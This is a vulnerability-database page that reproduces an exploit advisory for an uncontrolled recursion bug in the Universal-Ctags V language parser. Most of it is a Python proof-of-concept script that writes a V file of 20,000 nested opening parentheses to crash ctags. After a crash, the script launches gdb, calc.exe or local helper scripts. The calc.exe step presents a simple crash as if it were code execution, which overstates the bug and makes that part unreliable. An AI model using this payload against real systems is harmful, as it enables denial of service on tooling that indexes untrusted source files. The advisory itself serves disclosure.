Lucene search
K

📄 Universal‑Ctags V Language 6.2.1 Parser Uncontrolled Recursion

🗓️ 10 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 84 Views

Universal-Ctags V language parser up to 6.2.1 has uncontrolled recursion causing DoS.

Code
=============================================================================================================================================
    | # Title     : Universal‑Ctags V Language 6.2.1 Parser Uncontrolled Recursion Vulnerability                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://docs.ctags.io/en/latest/parser-v.html                                                                               |
    =============================================================================================================================================
    
    [+] Summary    : A security weakness has been discovered in Universal‑Ctags (all versions up to 6.2.1) affecting the V language parser component. The vulnerability is located in the functions:
    
    parseExpression
    
    parseExprList
    
    within the source file: parsers/v.c.
    
    [+] Description
    
    Type: Uncontrolled recursion / stack exhaustion
    
    Impact: Denial of Service (DoS)
    
    Trigger: Malformed V language source file with deeply nested expressions
    
    Execution: Local host only
    
    [+] By providing a specially crafted .v file, it is possible to force ctags into infinite or uncontrolled recursion, causing the program to crash. This crash can be exploited for denial-of-service conditions.
    				 
    [+] POC   :  
    
    import subprocess
    import os
    import datetime
    import platform
    import sys
    
    class CrossPlatformCrashHandler:
    
        def __init__(self, binary_path="./ctags"):
            self.binary_path = binary_path
            self.payload_file = "payload.v"
            self.log_dir = "crash_logs"
    
            if not os.path.exists(self.log_dir):
                os.makedirs(self.log_dir)
    
        def generate_payload(self, depth):
            """Generates the payload file"""
            with open(self.payload_file, "w") as f:
    
                f.write("(" * depth)
    
        def run_target(self):
            """Executes the target binary"""
            try:
                process = subprocess.run(
                    [self.binary_path, "-f", "/dev/null", "--sort=no", self.payload_file],
                    capture_output=True,
                    text=True,
                    timeout=10
                )
                return process
            except subprocess.TimeoutExpired:
                print("[!] Timeout detected")
                return None
            except Exception as e:
                print(f"[!] Execution error: {e}")
                return None
    
        def handle_crash(self, process):
            """Actions to take upon detecting a crash"""
            timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
            crash_file = os.path.join(self.log_dir, f"crash_{timestamp}.txt")
    
            with open(crash_file, "w") as f:
                f.write("STDOUT:\n" + (process.stdout or ""))
                f.write("\nSTDERR:\n" + (process.stderr or ""))
    
            print(f"[+] Crash log saved: {crash_file}")
    
            system = platform.system()
    
            if system == "Linux" or system == "Darwin": 
                try:
                    subprocess.Popen(["gdb", self.binary_path])
                    print("[*] Debugger launched (gdb)")
                except Exception as e:
                    print(f"[!] Failed to launch gdb: {e}")
            elif system == "Windows":
                try:
    
                    subprocess.Popen(["calc.exe"])
                    print("[*] Calculator launched on Windows (PoC)")
                except Exception as e:
                    print(f"[!] Failed to launch calc.exe: {e}")
    
            if os.path.exists("post_analysis.py"):
                try:
                    subprocess.Popen([sys.executable, "post_analysis.py"])
                    print("[*] Analysis script launched")
                except Exception as e:
                    print(f"[!] Failed to launch analysis script: {e}")
    
            print("[ALERT] Crash detected and analysis triggered!")
    
            if system != "Windows" and os.path.exists("inspection.sh"):
                try:
                    subprocess.Popen(["bash", "inspection.sh"])
                    print("[*] Inspection script launched")
                except Exception as e:
                    print(f"[!] Failed to launch inspection script: {e}")
            elif system == "Windows" and os.path.exists("inspection.bat"):
                try:
                    subprocess.Popen(["cmd", "/c", "inspection.bat"])
                    print("[*] Inspection script launched on Windows")
                except Exception as e:
                    print(f"[!] Failed to launch inspection batch: {e}")
    
        def automate(self, depth):
            self.generate_payload(depth)
            process = self.run_target()
    
            if process and process.returncode < 0:
                print(f"[!] Crash detected via signal: {-process.returncode}")
                self.handle_crash(process)
            else:
                print("[*] No crash detected.")
    
    if __name__ == "__main__":
        tester = CrossPlatformCrashHandler(binary_path="./ctags")
        tester.automate(20000)
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
84